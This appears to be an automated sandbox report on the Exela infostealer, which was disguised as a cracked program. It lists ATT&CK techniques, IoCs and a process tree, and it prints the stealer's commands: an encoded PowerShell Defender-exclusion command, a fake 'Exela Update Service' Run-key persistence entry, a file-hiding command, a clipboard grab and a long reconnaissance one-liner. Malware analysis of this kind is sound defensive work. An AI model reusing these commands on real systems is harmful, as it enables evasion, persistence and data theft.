exelastealer | f9db7373af72d963cf924019ff3716eb96b8d6d95062a563820d45a6b64e6a94

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	loader.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
4740	netsh.exe
2916	netsh.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	loader.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	loader.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	Celex cracked.exe(1).exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
3228	powershell.exe
1940	cmd.exe

Deletes itself 1 IoCs

pid	Process
4228	Cracked.exe

Executes dropped EXE 3 IoCs

pid	Process
4112	Cracked.exe
4172	loader.exe
4228	Cracked.exe

Loads dropped DLL 32 IoCs

pid	Process
4228	Cracked.exe
4228	Cracked.exe
4228	Cracked.exe
4228	Cracked.exe
4228	Cracked.exe
4228	Cracked.exe
4228	Cracked.exe
4228	Cracked.exe
4228	Cracked.exe
4228	Cracked.exe
4228	Cracked.exe
4228	Cracked.exe
4228	Cracked.exe
4228	Cracked.exe
4228	Cracked.exe
4228	Cracked.exe
4228	Cracked.exe
4228	Cracked.exe
4228	Cracked.exe
4228	Cracked.exe
4228	Cracked.exe
4228	Cracked.exe
4228	Cracked.exe
4228	Cracked.exe
4228	Cracked.exe
4228	Cracked.exe
4228	Cracked.exe
4228	Cracked.exe
4228	Cracked.exe
4228	Cracked.exe
4228	Cracked.exe
4228	Cracked.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Themida packer 10 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral2/files/0x0007000000023c86-24.dat	themida
behavioral2/memory/4172-118-0x00007FF695FD0000-0x00007FF696A6F000-memory.dmp	themida
behavioral2/memory/4172-128-0x00007FF695FD0000-0x00007FF696A6F000-memory.dmp	themida
behavioral2/memory/4172-124-0x00007FF695FD0000-0x00007FF696A6F000-memory.dmp	themida
behavioral2/memory/4172-170-0x00007FF695FD0000-0x00007FF696A6F000-memory.dmp	themida
behavioral2/memory/4172-206-0x00007FF695FD0000-0x00007FF696A6F000-memory.dmp	themida
behavioral2/memory/4172-208-0x00007FF695FD0000-0x00007FF696A6F000-memory.dmp	themida
behavioral2/memory/4172-207-0x00007FF695FD0000-0x00007FF696A6F000-memory.dmp	themida
behavioral2/memory/4172-202-0x00007FF695FD0000-0x00007FF696A6F000-memory.dmp	themida
behavioral2/memory/4172-301-0x00007FF695FD0000-0x00007FF696A6F000-memory.dmp	themida

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Exela Update Service = "C:\\Users\\Admin\\AppData\\Local\\ExelaUpdateService\\Exela.exe"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	loader.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
38	discord.com
39	discord.com
92	discord.com
37	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
23	ip-api.com

Network Service Discovery 1 TTPs 2 IoCs

Attempt to gather information on host's network.

Network Service Discovery

T1046

pid	Process
2516	cmd.exe
3996	ARP.EXE

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Enumerates processes with tasklist 1 TTPs 5 IoCs

persistence privilege_escalation

Process Discovery

T1057

pid	Process
4388	tasklist.exe
1336	tasklist.exe
4452	tasklist.exe
2304	tasklist.exe
1404	tasklist.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4696	cmd.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
4172	loader.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x0007000000023ce2-115.dat	upx
behavioral2/memory/4228-119-0x00007FF9E2990000-0x00007FF9E2F78000-memory.dmp	upx
behavioral2/memory/4228-178-0x00007FF9F71B0000-0x00007FF9F71D4000-memory.dmp	upx
behavioral2/files/0x0007000000023c89-179.dat	upx
behavioral2/files/0x0007000000023ce6-175.dat	upx
behavioral2/memory/4228-177-0x00007FF9FA040000-0x00007FF9FA04F000-memory.dmp	upx
behavioral2/files/0x0007000000023ce4-174.dat	upx
behavioral2/files/0x0007000000023ce3-173.dat	upx
behavioral2/files/0x0007000000023ce0-172.dat	upx
behavioral2/files/0x0007000000023cdd-171.dat	upx
behavioral2/files/0x0007000000023cdb-169.dat	upx
behavioral2/files/0x0007000000023cdc-130.dat	upx
behavioral2/files/0x0007000000023c8d-122.dat	upx
behavioral2/memory/4228-195-0x00007FF9F5C00000-0x00007FF9F5C2D000-memory.dmp	upx
behavioral2/memory/4228-197-0x00007FF9F2CC0000-0x00007FF9F2CE3000-memory.dmp	upx
behavioral2/memory/4228-198-0x00007FF9E2810000-0x00007FF9E2983000-memory.dmp	upx
behavioral2/memory/4228-201-0x00007FF9E2490000-0x00007FF9E2805000-memory.dmp	upx
behavioral2/memory/4228-200-0x00007FF9F2C90000-0x00007FF9F2CBE000-memory.dmp	upx
behavioral2/memory/4228-204-0x00007FF9F2880000-0x00007FF9F2938000-memory.dmp	upx
behavioral2/memory/4228-213-0x00007FF9F2840000-0x00007FF9F2854000-memory.dmp	upx
behavioral2/memory/4228-212-0x00007FF9F71B0000-0x00007FF9F71D4000-memory.dmp	upx
behavioral2/memory/4228-211-0x00007FF9F2860000-0x00007FF9F2872000-memory.dmp	upx
behavioral2/memory/4228-210-0x00007FF9F2E70000-0x00007FF9F2E85000-memory.dmp	upx
behavioral2/memory/4228-209-0x00007FF9E2990000-0x00007FF9E2F78000-memory.dmp	upx
behavioral2/memory/4228-217-0x00007FF9F2280000-0x00007FF9F22A2000-memory.dmp	upx
behavioral2/memory/4228-216-0x00007FF9E2370000-0x00007FF9E248C000-memory.dmp	upx
behavioral2/memory/4228-215-0x00007FF9F27D0000-0x00007FF9F27E4000-memory.dmp	upx
behavioral2/memory/4228-214-0x00007FF9F7190000-0x00007FF9F71A9000-memory.dmp	upx
behavioral2/memory/4228-194-0x00007FF9F5C30000-0x00007FF9F5C49000-memory.dmp	upx
behavioral2/memory/4228-182-0x00007FF9F7180000-0x00007FF9F718D000-memory.dmp	upx
behavioral2/memory/4228-181-0x00007FF9F7190000-0x00007FF9F71A9000-memory.dmp	upx
behavioral2/memory/4228-220-0x00007FF9EE540000-0x00007FF9EE557000-memory.dmp	upx
behavioral2/memory/4228-229-0x00007FF9F2220000-0x00007FF9F222A000-memory.dmp	upx
behavioral2/memory/4228-231-0x00007FF9ED4F0000-0x00007FF9ED50E000-memory.dmp	upx
behavioral2/memory/4228-230-0x00007FF9F2880000-0x00007FF9F2938000-memory.dmp	upx
behavioral2/memory/4228-232-0x00007FF9E1770000-0x00007FF9E1E65000-memory.dmp	upx
behavioral2/memory/4228-228-0x00007FF9ED510000-0x00007FF9ED521000-memory.dmp	upx
behavioral2/memory/4228-227-0x00007FF9F2C90000-0x00007FF9F2CBE000-memory.dmp	upx
behavioral2/memory/4228-226-0x00007FF9E8CB0000-0x00007FF9E8CFD000-memory.dmp	upx
behavioral2/memory/4228-225-0x00007FF9ED530000-0x00007FF9ED549000-memory.dmp	upx
behavioral2/memory/4228-224-0x00007FF9E1E70000-0x00007FF9E1F3F000-memory.dmp	upx
behavioral2/memory/4228-223-0x00007FF9E2490000-0x00007FF9E2805000-memory.dmp	upx
behavioral2/memory/4228-233-0x00007FF9E3AD0000-0x00007FF9E3B08000-memory.dmp	upx
behavioral2/memory/4228-222-0x00007FF9E2810000-0x00007FF9E2983000-memory.dmp	upx
behavioral2/memory/4228-221-0x00007FF9F2CC0000-0x00007FF9F2CE3000-memory.dmp	upx
behavioral2/memory/4228-236-0x00007FF9F2840000-0x00007FF9F2854000-memory.dmp	upx
behavioral2/memory/4228-308-0x00007FF9FA050000-0x00007FF9FA05D000-memory.dmp	upx
behavioral2/memory/4228-309-0x00007FF9F2280000-0x00007FF9F22A2000-memory.dmp	upx
behavioral2/memory/4228-326-0x00007FF9EE540000-0x00007FF9EE557000-memory.dmp	upx
behavioral2/memory/4228-328-0x00007FF9E8CB0000-0x00007FF9E8CFD000-memory.dmp	upx
behavioral2/memory/4228-327-0x00007FF9ED530000-0x00007FF9ED549000-memory.dmp	upx
behavioral2/memory/4228-362-0x00007FF9E1770000-0x00007FF9E1E65000-memory.dmp	upx
behavioral2/memory/4228-364-0x00007FF9FA050000-0x00007FF9FA05D000-memory.dmp	upx
behavioral2/memory/4228-354-0x00007FF9F2280000-0x00007FF9F22A2000-memory.dmp	upx
behavioral2/memory/4228-337-0x00007FF9E2990000-0x00007FF9E2F78000-memory.dmp	upx
behavioral2/memory/4228-345-0x00007FF9E2810000-0x00007FF9E2983000-memory.dmp	upx
behavioral2/memory/4228-338-0x00007FF9F71B0000-0x00007FF9F71D4000-memory.dmp	upx
behavioral2/memory/4228-355-0x00007FF9EE540000-0x00007FF9EE557000-memory.dmp	upx
behavioral2/memory/4228-350-0x00007FF9F2860000-0x00007FF9F2872000-memory.dmp	upx
behavioral2/memory/4228-349-0x00007FF9F2E70000-0x00007FF9F2E85000-memory.dmp	upx
behavioral2/memory/4228-367-0x00007FF9E2990000-0x00007FF9E2F78000-memory.dmp	upx
behavioral2/memory/4228-387-0x00007FF9ED530000-0x00007FF9ED549000-memory.dmp	upx
behavioral2/memory/4228-384-0x00007FF9F2280000-0x00007FF9F22A2000-memory.dmp	upx
behavioral2/memory/4228-379-0x00007FF9F2E70000-0x00007FF9F2E85000-memory.dmp	upx

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
400	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Detects Pyinstaller 1 IoCs

pyinstaller

resource	yara_rule
behavioral2/files/0x000c000000023b9c-4.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Celex cracked.exe(1).exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

Wi-Fi Discovery

T1016.002

pid	Process
3348	cmd.exe
3652	netsh.exe

System Network Connections Discovery 1 TTPs 1 IoCs

Attempt to get a listing of network connections.

System Network Connections Discovery

T1049

pid	Process
732	NETSTAT.EXE

Collects information from the system 1 TTPs 1 IoCs

Uses WMIC.exe to find detailed system information.

Data from Local System

T1005

pid	Process
1104	WMIC.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

pid	Process
3228	WMIC.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
1964	ipconfig.exe
732	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
3136	systeminfo.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
1744	powershell.exe
1744	powershell.exe
3228	powershell.exe
3228	powershell.exe
3228	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4172	loader.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1744	powershell.exe
Token: SeIncreaseQuotaPrivilege	3228	WMIC.exe
Token: SeSecurityPrivilege	3228	WMIC.exe
Token: SeTakeOwnershipPrivilege	3228	WMIC.exe
Token: SeLoadDriverPrivilege	3228	WMIC.exe
Token: SeSystemProfilePrivilege	3228	WMIC.exe
Token: SeSystemtimePrivilege	3228	WMIC.exe
Token: SeProfSingleProcessPrivilege	3228	WMIC.exe
Token: SeIncBasePriorityPrivilege	3228	WMIC.exe
Token: SeCreatePagefilePrivilege	3228	WMIC.exe
Token: SeBackupPrivilege	3228	WMIC.exe
Token: SeRestorePrivilege	3228	WMIC.exe
Token: SeShutdownPrivilege	3228	WMIC.exe
Token: SeDebugPrivilege	3228	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3228	WMIC.exe
Token: SeRemoteShutdownPrivilege	3228	WMIC.exe
Token: SeUndockPrivilege	3228	WMIC.exe
Token: SeManageVolumePrivilege	3228	WMIC.exe
Token: 33	3228	WMIC.exe
Token: 34	3228	WMIC.exe
Token: 35	3228	WMIC.exe
Token: 36	3228	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5028	WMIC.exe
Token: SeSecurityPrivilege	5028	WMIC.exe
Token: SeTakeOwnershipPrivilege	5028	WMIC.exe
Token: SeLoadDriverPrivilege	5028	WMIC.exe
Token: SeSystemProfilePrivilege	5028	WMIC.exe
Token: SeSystemtimePrivilege	5028	WMIC.exe
Token: SeProfSingleProcessPrivilege	5028	WMIC.exe
Token: SeIncBasePriorityPrivilege	5028	WMIC.exe
Token: SeCreatePagefilePrivilege	5028	WMIC.exe
Token: SeBackupPrivilege	5028	WMIC.exe
Token: SeRestorePrivilege	5028	WMIC.exe
Token: SeShutdownPrivilege	5028	WMIC.exe
Token: SeDebugPrivilege	5028	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5028	WMIC.exe
Token: SeRemoteShutdownPrivilege	5028	WMIC.exe
Token: SeUndockPrivilege	5028	WMIC.exe
Token: SeManageVolumePrivilege	5028	WMIC.exe
Token: 33	5028	WMIC.exe
Token: 34	5028	WMIC.exe
Token: 35	5028	WMIC.exe
Token: 36	5028	WMIC.exe
Token: SeDebugPrivilege	4388	tasklist.exe
Token: SeIncreaseQuotaPrivilege	3228	WMIC.exe
Token: SeSecurityPrivilege	3228	WMIC.exe
Token: SeTakeOwnershipPrivilege	3228	WMIC.exe
Token: SeLoadDriverPrivilege	3228	WMIC.exe
Token: SeSystemProfilePrivilege	3228	WMIC.exe
Token: SeSystemtimePrivilege	3228	WMIC.exe
Token: SeProfSingleProcessPrivilege	3228	WMIC.exe
Token: SeIncBasePriorityPrivilege	3228	WMIC.exe
Token: SeCreatePagefilePrivilege	3228	WMIC.exe
Token: SeBackupPrivilege	3228	WMIC.exe
Token: SeRestorePrivilege	3228	WMIC.exe
Token: SeShutdownPrivilege	3228	WMIC.exe
Token: SeDebugPrivilege	3228	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3228	WMIC.exe
Token: SeRemoteShutdownPrivilege	3228	WMIC.exe
Token: SeUndockPrivilege	3228	WMIC.exe
Token: SeManageVolumePrivilege	3228	WMIC.exe
Token: 33	3228	WMIC.exe
Token: 34	3228	WMIC.exe
Token: 35	3228	WMIC.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4172	loader.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3456 wrote to memory of 1744	3456	Celex cracked.exe(1).exe	85
PID 3456 wrote to memory of 1744	3456	Celex cracked.exe(1).exe	85
PID 3456 wrote to memory of 1744	3456	Celex cracked.exe(1).exe	85
PID 3456 wrote to memory of 4112	3456	Celex cracked.exe(1).exe	87
PID 3456 wrote to memory of 4112	3456	Celex cracked.exe(1).exe	87
PID 3456 wrote to memory of 4172	3456	Celex cracked.exe(1).exe	166
PID 3456 wrote to memory of 4172	3456	Celex cracked.exe(1).exe	166
PID 4112 wrote to memory of 4228	4112	Cracked.exe	90
PID 4112 wrote to memory of 4228	4112	Cracked.exe	90
PID 4228 wrote to memory of 540	4228	Cracked.exe	91
PID 4228 wrote to memory of 540	4228	Cracked.exe	91
PID 4228 wrote to memory of 4236	4228	Cracked.exe	93
PID 4228 wrote to memory of 4236	4228	Cracked.exe	93
PID 4228 wrote to memory of 2804	4228	Cracked.exe	94
PID 4228 wrote to memory of 2804	4228	Cracked.exe	94
PID 4228 wrote to memory of 4800	4228	Cracked.exe	95
PID 4228 wrote to memory of 4800	4228	Cracked.exe	95
PID 4228 wrote to memory of 2176	4228	Cracked.exe	98
PID 4228 wrote to memory of 2176	4228	Cracked.exe	98
PID 4172 wrote to memory of 1872	4172	loader.exe	101
PID 4172 wrote to memory of 1872	4172	loader.exe	101
PID 4236 wrote to memory of 3228	4236	cmd.exe	142
PID 4236 wrote to memory of 3228	4236	cmd.exe	142
PID 2176 wrote to memory of 4388	2176	cmd.exe	104
PID 2176 wrote to memory of 4388	2176	cmd.exe	104
PID 2804 wrote to memory of 5028	2804	cmd.exe	105
PID 2804 wrote to memory of 5028	2804	cmd.exe	105
PID 1872 wrote to memory of 3660	1872	cmd.exe	176
PID 1872 wrote to memory of 3660	1872	cmd.exe	176
PID 1872 wrote to memory of 732	1872	cmd.exe	172
PID 1872 wrote to memory of 732	1872	cmd.exe	172
PID 1872 wrote to memory of 3236	1872	cmd.exe	108
PID 1872 wrote to memory of 3236	1872	cmd.exe	108
PID 4228 wrote to memory of 316	4228	Cracked.exe	110
PID 4228 wrote to memory of 316	4228	Cracked.exe	110
PID 316 wrote to memory of 2228	316	cmd.exe	112
PID 316 wrote to memory of 2228	316	cmd.exe	112
PID 4228 wrote to memory of 5048	4228	Cracked.exe	114
PID 4228 wrote to memory of 5048	4228	Cracked.exe	114
PID 4228 wrote to memory of 3576	4228	Cracked.exe	115
PID 4228 wrote to memory of 3576	4228	Cracked.exe	115
PID 3576 wrote to memory of 1336	3576	cmd.exe	119
PID 3576 wrote to memory of 1336	3576	cmd.exe	119
PID 5048 wrote to memory of 3144	5048	cmd.exe	118
PID 5048 wrote to memory of 3144	5048	cmd.exe	118
PID 4228 wrote to memory of 4696	4228	Cracked.exe	120
PID 4228 wrote to memory of 4696	4228	Cracked.exe	120
PID 4696 wrote to memory of 4520	4696	cmd.exe	122
PID 4696 wrote to memory of 4520	4696	cmd.exe	122
PID 4228 wrote to memory of 5092	4228	Cracked.exe	123
PID 4228 wrote to memory of 5092	4228	Cracked.exe	123
PID 5092 wrote to memory of 1792	5092	cmd.exe	125
PID 5092 wrote to memory of 1792	5092	cmd.exe	125
PID 4228 wrote to memory of 2052	4228	Cracked.exe	126
PID 4228 wrote to memory of 2052	4228	Cracked.exe	126
PID 2052 wrote to memory of 4452	2052	cmd.exe	128
PID 2052 wrote to memory of 4452	2052	cmd.exe	128
PID 4228 wrote to memory of 2196	4228	Cracked.exe	130
PID 4228 wrote to memory of 2196	4228	Cracked.exe	130
PID 4228 wrote to memory of 1808	4228	Cracked.exe	178
PID 4228 wrote to memory of 1808	4228	Cracked.exe	178
PID 4228 wrote to memory of 2708	4228	Cracked.exe	133
PID 4228 wrote to memory of 2708	4228	Cracked.exe	133
PID 4228 wrote to memory of 1940	4228	Cracked.exe	135

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4520	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Celex cracked.exe(1).exe
"C:\Users\Admin\AppData\Local\Temp\Celex cracked.exe(1).exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3456
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHMAYQBjACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAeQByACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHMAdABoACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAcQB4ACMAPgA="
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1744
- C:\Users\Admin\AppData\Local\Temp\Cracked.exe
  "C:\Users\Admin\AppData\Local\Temp\Cracked.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4112
- - C:\Users\Admin\AppData\Local\Temp\Cracked.exe
    "C:\Users\Admin\AppData\Local\Temp\Cracked.exe"
    3⤵
    - Deletes itself
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:4228
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "ver"
      4⤵
      PID:540
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4236
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        5⤵
        Detects videocard installed
        Suspicious use of AdjustPrivilegeToken
        
        PID:3228
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic computersystem get Manufacturer"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2804
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic computersystem get Manufacturer
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5028
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "gdb --version"
      4⤵
      PID:4800
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tasklist"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2176
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:4388
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic path Win32_ComputerSystem get Manufacturer"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:316
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path Win32_ComputerSystem get Manufacturer
        5⤵
        
        PID:2228
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5048
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        5⤵
        
        PID:3144
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tasklist"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3576
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:1336
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\ExelaUpdateService\Exela.exe""
      4⤵
      Hide Artifacts: Hidden Files and Directories
      Suspicious use of WriteProcessMemory
      PID:4696
    - - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Local\ExelaUpdateService\Exela.exe"
        5⤵
        Views/modifies file attributes
        
        PID:4520
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Exela Update Service" /t REG_SZ /d "C:\Users\Admin\AppData\Local\ExelaUpdateService\Exela.exe" /f"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5092
    - - C:\Windows\system32\reg.exe
        
        reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Exela Update Service" /t REG_SZ /d "C:\Users\Admin\AppData\Local\ExelaUpdateService\Exela.exe" /f
        5⤵
        Adds Run key to start application
        
        PID:1792
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tasklist"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2052
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:4452
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"
      4⤵
      PID:2196
    - - C:\Windows\system32\cmd.exe
        
        cmd.exe /c chcp
        5⤵
        
        PID:552
      - C:\Windows\system32\chcp.com
        
        chcp
        6⤵
        
        PID:1036
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"
      4⤵
      PID:1808
    - - C:\Windows\system32\cmd.exe
        
        cmd.exe /c chcp
        5⤵
        
        PID:1920
      - C:\Windows\system32\chcp.com
        
        chcp
        6⤵
        
        PID:4680
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
      4⤵
      PID:2708
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        5⤵
        Enumerates processes with tasklist
        
        PID:2304
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard"
      4⤵
      Clipboard Data
      PID:1940
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe Get-Clipboard
        5⤵
        Clipboard Data
        Suspicious behavior: EnumeratesProcesses
        
        PID:3228
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"
      4⤵
      Network Service Discovery
      PID:2516
    - - C:\Windows\system32\systeminfo.exe
        
        systeminfo
        5⤵
        Gathers system information
        
        PID:3136
    - - C:\Windows\system32\HOSTNAME.EXE
        
        hostname
        5⤵
        
        PID:4792
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic logicaldisk get caption,description,providername
        5⤵
        Collects information from the system
        
        PID:1104
    - - C:\Windows\system32\net.exe
        
        net user
        5⤵
        
        PID:4032
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user
        6⤵
        
        PID:3560
    - - C:\Windows\system32\query.exe
        
        query user
        5⤵
        
        PID:4364
      - C:\Windows\system32\quser.exe
        
        "C:\Windows\system32\quser.exe"
        6⤵
        
        PID:4052
    - - C:\Windows\system32\net.exe
        
        net localgroup
        5⤵
        
        PID:1916
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup
        6⤵
        
        PID:3408
    - - C:\Windows\system32\net.exe
        
        net localgroup administrators
        5⤵
        
        PID:2600
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup administrators
        6⤵
        
        PID:4292
